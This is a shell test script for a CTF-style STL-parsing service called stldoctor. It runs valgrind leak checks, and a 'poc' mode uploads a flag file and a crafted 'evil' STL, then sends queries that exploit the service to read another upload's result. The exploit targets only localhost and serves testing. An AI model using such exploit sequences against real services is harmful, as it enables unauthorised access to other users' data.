#!/bin/sh

set -e

# RUN_REMOTE=1

export RESULTDIR="../data/scans"
export ECHO_INPUT=1

announce() {
	count=$(echo "$1" | wc -c)
	python3 -c "
import math
s = '$1'
c = 80
print()
print('#'*c)
print('#' + ' '*math.floor((c - len(s))/2-1) + s + ' '*math.ceil((c - len(s))/2-1) + '#')
print('#'*c)
print()
	"
}

checkleaks() {
	valgrind --leak-check=full ./stldoctor 2>&1 | tee /tmp/testlog
	if [ -z "$(grep "no leaks are possible" /tmp/testlog)" ]; then
		echo "Valgrind exited with errors!"
		exit 1
	fi
}

connect() {
	if [ $RUN_REMOTE ]; then
		nc localhost 9000
	else
		./stldoctor
	fi
}

if [ "$1" == "stl" ]; then

	announce "Testing ASCII STL Parsing"
	(
		echo "submit"
		cat tests/sample-ascii.stl | wc -c
		cat tests/sample-ascii.stl
	) | checkleaks

	announce "Testing BIN STL Parsing"
	(
		echo "submit"
		cat tests/sample-binary.stl | wc -c
		cat tests/sample-binary.stl
		echo "testname"
	) | checkleaks

elif [ "$1" == "poc" ]; then

	announce "Testing Proof-Of-Concept"

	rm -rf "$RESULTDIR"/*

	echo -e "\n--- Uploading target STL ---\n" 1>&2
	(
		echo "echo"
		echo "submit"
		cat tests/flag1.stl | wc -c
		cat tests/flag1.stl
		echo "exit"
	) | connect

	echo -e "\n--- Uploading evil STL ---\n" 1>&2
	(
		echo "echo"
		echo "submit"
		cat tests/evil1.stl | wc -c
		cat tests/evil1.stl
		echo -e "AAAA\xff"
		echo "exit"
	) | connect

	echo -e "\n--- Testing Exploit ---\n" 1>&2
	(
		echo "echo"

		# try index 0
		echo "query"
		echo -e "AAAA\xff"
		echo "0"
		echo "n"

		echo "query"
		echo "0"
		echo "n"

		# reset cached result
		echo "submit"
		echo "2"
		echo "aa"

		# try index 1
		echo "query"
		echo -e "AAAA\xff"
		echo "0"
		echo "n"

		echo "query"
		echo "1"
		echo "n"
		echo "exit"
	) | connect

else
	(
		echo "submit"
		echo "2"
		echo "AA"
		echo "AAAA"
		echo "exit"
	) | connect

fi